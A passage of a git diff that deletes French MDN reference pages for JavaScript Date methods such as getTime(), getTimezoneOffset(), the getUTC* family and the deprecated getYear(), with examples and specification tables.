  • {{jsxref("Date.prototype.setSeconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html deleted file mode 100644 index 2ade1f6f16..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Date.prototype.getTime() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getTime -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime ---- -
{{JSRef}}
- -

La méthode getTime() renvoie la valeur numérique correspondant au temps pour la date renseignée, d'après le temps universel (c'est-à-dire relative à UTC, une mesure donnée par getTime() sera indépendante du fuseau horaire sur lequel on se trouve). Cette valeur numérique est le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.

- -

Vous pouvez utiliser cette méthode pour vous affecter une date et un temps à une autre instance de Date. Cette méthode est fonctionnellement équivalente à la méthode {{jsxref("Date.valueof", "valueOf()")}}.

- -
{{EmbedInteractiveExample("pages/js/date-gettime.html")}}
- - - -

Syntaxe

- -
dateObj.getTime()
- -

Valeur de retour

- -

La valeur renvoyée par la méthode getTime() est le nombre de millièmes de secondes entre le 1 janvier 1970 à 00:00:00 UTC et la date indiquée.

- -

Exemples

- -

Utiliser getTime()

- -

L'exemple qui suit assigne la valeur de anniversaire à copie :

- -
var anniversaire = new Date(1994 , 11, 10); // 10 décembre 1994
-var copie = new Date();
-copie.setTime(anniversaire.getTime());
-
- -

Mesurer un temps d'exécution

- -

Effectuer une soustration entre deux appels à getTime() donne la durée écoulée entre ces appels. On peut donc utiliser cette méthode afin de connaître la durée d'exécution de certaines opérations (voir également la méthode {{jsxref("Date.now()")}} qui peut permettre d'éviter d'instancier des objets intermédiaires).

- -
var fin, début;
-
-début = new Date();
-for (var i = 0; i < 1000; i++) {
-  Math.sqrt(i);
-}
-fin = new Date();
-
-console.log('Durée de cette opération : ' + (fin.getTime() - début.getTime()) + ' msec');
-
- -

Précision temporelle réduite

- -

Afin de protéger contre les attaques de minutage et d'identification, la précision de new Date().getTime() peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence privacy.reduceTimerPrecision est activée par défaut et vaut, par défaut 20µs pour Firefox 59 et 2ms pour Firefox 60.

- -
// Précision temporelle réduite (2ms) pour Firefox 60
-new Date().getTime();
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// précision temporelle avec `privacy.resistFingerprinting` activé
-new Date().getTime();
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-
- -

Pour Firefox, il est également possible d'activer privacy.resistFingerprinting auquel cas la précision sera 100ms ou la valeur de privacy.resistFingerprinting.reduceTimerPrecision.microseconds selon laquelle est plus grande.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getTime")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.setTime()")}}
    • -
  • {{jsxref("Date.prototype.valueOf()")}}
    • -
  • {{jsxref("Date.prototype.now()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html deleted file mode 100644 index 97c2ab3604..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Date.prototype.getTimezoneOffset() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getTimezoneOffset -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset ---- -
{{JSRef}}
- -

La méthode getTimezoneOffset() retourne la différence en minutes entre le fuseau horaire UTC, et celui de l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-gettimezoneoffset.html")}}
- - - -

Syntaxe

- -
dateObj.getTimezoneOffset()
- -

Valeur de retour

- -

La valeur retournée est la différence, exprimée en minutes, entre les fuseaux horaires UTC et celui de l'heure locale. Cette différence est positive si le fuseau horaire local est en retard par rapport à UTC, et négative s'il est en avance.

- -

Par exemple, si votre fuseau horaire est UTC+10 (Australian Eastern Standard Time, Vladivostok, Chamorro), la valeur retournée sera -600. L'heure d'été (DST pour daylight saving time en anglais) empêche cette valeur d'être une constante.

- -

Exemples

- -

Utiliser getTimezoneOffset()

- -
var x = new Date();
-var differenceFuseauxEnHeures = x.getTimezoneOffset() / 60;
-// -2
-
-// Décalage temporel local pour le premier mai
-// Attention, Date() utilise les mois numérotés
-// à partir de zéro et mai est donc représenté
-// avec 4 (et pas 5)
-var travail = new Date(2017, 4, 1);
-var decalage = travail.getTimezoneOffset() / 60;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getTimezoneOffset")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html deleted file mode 100644 index 5d2059e88b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Date.prototype.getUTCDate() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDate -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate ---- -
{{JSRef}}
- -

La méthode getUTCDate() renvoie le jour du mois pour la date renseignée d'après UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutcdate.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCDate()
- -

Valeur de retour

- -

La valeur renseignée par getUTCDate() est un entier entre 1 et 31 pour le jour du mois de la date indiquée selon le temps universel.

- -

Exemples

- -

Utiliser getUTCDate()

- -

L'exemple suivant assigne le jour du mois pour la date actuelle, à la variable jour.

- -
var aujourdhui = new Date();
-var jour = aujourdhui.getUTCDate();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCDate")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getDate()")}}
    • -
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • -
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html deleted file mode 100644 index d97a0bd31e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Date.prototype.getUTCDay() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCDay -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay ---- -
{{JSRef}}
- -

La méthode getUTCDay() renvoie le jour de la semaine pour la date renseignée d'après UTC. La numérotation commence à 0, et dimanche est considéré comme le premier jour de la semaine.

- -
{{EmbedInteractiveExample("pages/js/date-getutcday.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCDay()
- -

Valeur de retour

- -

La valeur renvoyée par getUTCDay() est un entier correspondant au jour de la semaine de la date indiquée selon le temps universel (0 pour dimanche, 1 pour lundi, 2 pour mardi, et ainsi de suite).

- -

Exemples

- -

Utiliser getUTCDay()

- -

L'exemple suivant assigne le jour de la semaine de la date actuelle à la variable jourSemaine.

- -
var aujourdhui = new Date()
-var jourSemaine = aujourdhui.getUTCDay()
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCDay")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • -
  • {{jsxref("Date.prototype.getDay()")}}
    • -
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html deleted file mode 100644 index 873d48d53b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Date.prototype.getUTCFullYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCFullYear -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear ---- -
{{JSRef}}
- -

La méthode getUTCFullYear() renvoie l'année de la date renseignée, d'après UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutcfullyear.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCFullYear()
- -

Valeur de retour

- -

La valeur renvoyée par getUTCFullYear() est un nombre correspondant à l'année de la date indiquée selon le temps universel. Pour les dates entre les années 1000 et 9999, getUTCFullYear() renvoie un nombre à quatre chiffres, par exemple 1995.

- -

Exemples

- -

Utiliser getUTCFullYear()

- -

L'exemple suivant assigne une valeur à 4 chiffres, l'année courante, à la variable annee.

- -
var aujourdhui = new Date();
-var annee = aujourdhui.getUTCFullYear();
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCFullYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setFullYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html deleted file mode 100644 index c9139151c7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.getUTCHours() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCHours -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours ---- -
{{JSRef}}
- -

La méthode getUTCHours() renvoie les heures de la date renseignée, d'après UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutchours.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCHours()
- -

Valeur de retour

- -

Un entier entre 0 et 23 correspondant à l'heure de la date indiquée selon le temps universel.

- -

Exemples

- -

Utiliser getUTCHours()

- -

L'exemple suivant assigne les heures de la date actuelle à la variable heures.

- -
var aujourdhui = new Date();
-var heures = aujourdhui.getUTCHours();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCHours")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getHours()")}}
    • -
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html deleted file mode 100644 index f662f995c6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Date.prototype.getUTCMilliseconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMilliseconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds ---- -
{{JSRef}}
- -

La méthode getUTCMilliseconds() renvoie les millièmes de secondes pour la date renseignée selon UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutcmilliseconds.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCMilliseconds()
- -

Valeur de retour

- -

Un entier entre 0 et 999 correspondant au nombre de millisecondes pour la date indiquée, selon le temps universel.

- -
-

Note : Le résultat de cette méthode n'est pas le temps "Epoch". Si on veut obtenir le nombre de millisecondes depuis le premier janvier 1970, on utilisera la méthode {{jsxref("Date.prototype.getTime()")}}.

-
- -

Exemples

- -

Utiliser getUTCMilliseconds()

- -

L'exemple suivant assigne les millièmes de secondes pour la date actuelle à la variable ms.

- -
var aujourdhui = new Date();
-var ms = aujourdhui.getUTCMilliseconds();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCMilliseconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMilliseconds()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMilliseconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html deleted file mode 100644 index e1a8d1a996..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.getUTCMinutes() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMinutes -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes ---- -
{{JSRef}}
- -

La méthode getUTCMinutes() renvoie les minutes de la date renseignée, d'après UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutcminutes.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCMinutes()
- -

Valeur de retour

- -

Un entier entre 0 et 59 correspondant au nombre de minutes pour la date indiquée selon le temps universel.

- -

Exemples

- -

Utiliser getUTCMinutes

- -

L'exemple suivant assigne les minutes de la date actuelle à la variable minutes.

- -
var aujourdhui = new Date();
-var minutes = aujourdhui.getUTCMinutes();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCMinutes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMinutes()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMinutes()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html deleted file mode 100644 index e79037ca0f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.getUTCMonth() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMonth -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth ---- -
{{JSRef}}
- -

La méthode getUTCMonth() renvoie le mois de la date renseignée, d'après UTC. La numérotation des mois commence à 0 pour le premier mois de l'année.

- -
{{EmbedInteractiveExample("pages/js/date-getutcmonth.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCMonth()
- -

Valeur de retour

- -

Un entier entre 0 et 11 correspondant au mois dans l'année de la date indiquée selon le temps universel (0 pour janvier, 1 pour février, 2 pour mars, et ainsi de suite…).

- -

Exemples

- -

Utiliser getUTCMonth()

- -

L'exemple suivant assigne le mois de la date actuelle à la variable mois.

- -
var aujourdhui = new Date();
-var mois = aujourdhui.getUTCMonth();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCMonth")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getMonth()")}}
    • -
  • {{jsxref("Date.prototype.setUTCMonth()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html deleted file mode 100644 index c56766bb13..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.getUTCSeconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCSeconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds ---- -
{{JSRef}}
- -

La méthode getUTCSeconds() renvoie les secondes de la date renseignée, d'après UTC.

- -
{{EmbedInteractiveExample("pages/js/date-getutcseconds.html")}}
- - - -

Syntaxe

- -
dateObj.getUTCSeconds()
- -

Valeur de retour

- -

Un entier entre 0 et 59 correspondant au nombre de secondes écoulées pour la date indiquée selon le temps universel.

- -

Exemples

- -

Utiliser getUTCSeconds()

- -

L'exemple suivant assigne les secondes de la date actuelle à la variable secondes.

- -
var aujourdhui = new Date();
-var secondes = aujourdhui.getUTCSeconds();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getUTCSeconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getSeconds()")}}
    • -
  • {{jsxref("Date.prototype.setUTCSeconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html deleted file mode 100644 index a890eaeb7e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Date.prototype.getYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getYear -tags: - - Date - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear ---- -
{{JSRef}} {{Deprecated_header}}
- -

La méthode getYear() renvoie l'année de la date renseignée, d'après l'heure locale. Parce que getYear() ne renvoie pas l'année complète (« bug de l'an 2000 »), cette méthode n'est plus utilisée et doit être remplacée par {{jsxref("Date.getFullYear", "getFullYear")}}.

- -

Syntaxe

- -
dateObj.getYear()
- -

Valeur de retour

- -

Un nombre représentant l'année de la date indiquée, selon l'heure locale, auquel on a soustrait 1900.

- -

Description

- -

La méthode getYear() renvoie l'année moins 1900 ; par conséquent :

- -
    -
  • Pour les années supérieures ou égales à 2000, la valeur renvoyée par getYear() est supérieure ou égale à 100. Par exemple, si l'année est 2026, getYear() renvoie 126.
    • -
  • Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par getYear() est comprise entre 0 et 99. Par exemple, si l'année est 1976, getYear() renvoie 76.
    • -
  • Pour les années inférieures à 1900, la valeur renvoyée par getYear() est négative. Par exemple, si l'année est 1800, getYear() renvoie -100.
    • -
- -

Pour prendre en compte les années avant et après 2000, il vaut mieux utiliser {{jsxref("Date.getFullYear", "getFullYear()")}} au lieu de getYear afin que l'année soit spécifiée en entier.

- -

Rétrocompatibilité

- -

Comportement dans JavaScript 1.2 et versions antérieures

- -

La méthode getYear() renvoyait soit une année en deux chiffres, soit une année en quatre chiffres :

- -
    -
  • Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par getYear() était l'année moins 1900. Par exemple, si l'année était 1976, la valeur renvoyée était 76.
    • -
  • Pour les années inférieures à 1900 ou supérieures à 1999, la valeur renvoyée par getYear était l'année en quatre chiffres. Par exemple, si l'année était 1856, la valeur renvoyée était 1856. Si l'année était 2026, la valeur renvoyée était 2026.
    • -
- -

Exemples

- -

Années entre 1900 et 1999

- -

La seconde instruction assigne la valeur 95 à la variable annee.

- -
var noel = new Date("December 25, 1995 23:15:00");
-var annee = noel.getYear(); // renvoie 95
-
- -

Années après 1999

- -

La seconde instruction assigne la valeur 100 à la variable annee.

- -
var noel = new Date("December 25, 2000 23:15:00");
-var annee = noel.getYear(); // renvoie 100
-
- -

Années avant 1900

- -

La seconde instruction assigne la valeur -100 à la variable annee.

- -
var noel = new Date("December 25, 1800 23:15:00");
-var annee = noel.getYear(); // renvoie -100
-
- -

Définition et lecture d'une année entre 1900 et 1999

- -

La troisième instruction assigne la valeur 95 à la variable annee, représentant l'année 1995.

- -
var noel = new Date("December 25, 1800 23:15:00");
-var noel.setYear(95);
-var annee = noel.getYear(); // renvoie 95
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-B.2.4', 'Date.prototype.getYear')}}{{Spec2('ES5.1')}}Défini dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}{{Spec2('ES6')}}Défini dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getFullYear()")}}
    • -
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/index.html b/files/fr/web/javascript/reference/objets_globaux/date/index.html deleted file mode 100644 index e38ef84b9b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Date -slug: Web/JavaScript/Reference/Objets_globaux/Date -tags: - - Date - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date ---- -
{{JSRef}}
- -

Les objets JavaScript Date représentent un instant donné sur l'axe du temps dans un format indépendant de la plateforme utilisée. Les objets Date contiennent un nombre (Number) qui représente le nombre de millisecondes écoulées depuis le premier janvier 1970 sur l'échelle UTC.

- -
-

TC39 travaille actuellement sur Temporal, une nouvelle API pour la gestion des dates, heures et données temporelles.
- Pour en savoir plus, consultez le blog d'Igalia et n'hésitez pas à répondre au sondage. Les retours concrets de développeurs web sont importants pour affiner cette API. Attention, elle n'est pas encore prête à être utilisée en production !

-
- -

Description

- -

L'epoch ECMAScript

- -

D'un point de vue technique, une date JavaScript correspond au nombre de millisecondes écoulées depuis le premier janvier 1970, minuit UTC. Cette date et cette heure sont les mêmes que l'epoch UNIX, qui est l'instant de référence principalement utilisé pour manipuler les dates/heures dans les systèmes informatiques.

- -

Note : Bien que les valeurs temporelles des objets dates soient relatives à UTC, certaines des méthodes simples pour obtenir les composantes d'une date/heure fonctionnent relativement au fuseau horaire du système.

- -

On notera également que la représentation maximale d'un objet Date n'est pas la même que le plus grand entier représentable en JavaScript (Number.MAX_SAFE_INTEGER vaut 9,007,199,254,740,991). En effet, ECMA-262 définit un maximum de ±100 000 000 (cent millions) jours relatifs au premier janvier 1970 UTC (ce qui correspond au 20 avril 271 821 avant notre ètre d'une part et au 13 septembre 275 760 de notre ère) pouvant être représentés par un objet Date standard (soit un intervalle de ±8 640 000 000 000 000 millisecondes).

- -

Les formats de date et les conversions entre les fuseaux horaires

- -

Il existe différentes méthodes pour obtenir une date sous différents formats ou effectuer une conversion entre différents fuseaux. On distingue notamment les fonctions qui manipulent les dates relativement au temps universal coordonné (UTC). Le temps local est celui utilisé par l'appareil de l'utilisateur.

- -

Ainsi, on dispose de méthodes permettant d'obtenir ou de définir les différentes composantes d'une date selon le temps local (ex. {{jsxref("Date.getDay", "getDay()")}}, {{jsxref("Date.setHours", "setHours()")}}) et de méthodes équivalentes pour la manipulation en UTC (ex. {{jsxref("Date.getUTCDay()", "getUTCDay()")}} et {{jsxref("Date.setUTCHours", "setUTCHours()")}} respectivement).

- -

Constructeur

- -
-
{{jsxref("Date/Date", "Date()")}}
-
Cette fonction permet de créer un nouvel objet Date.
-
- -

Méthodes statiques

- -
-
{{jsxref("Date.now()")}}
-
Renvoie la valeur numérique correspondant au moment présent sous la forme du nombre de millisecondes écoulées depuis le premier janvier 1970 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées).
-
{{jsxref("Date.parse()")}}
-
Analyse la représentation textuelle d'une date et renvoie le nombre de millisecondes écoulées entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées). -
-

Note : L'analyse de chaînes de caractères à l'aide de Date.parse est fortement déconseillée en raison des incohérences qui existent entre les navigateurs.

-
-
-
{{jsxref("Date.UTC()")}}
-
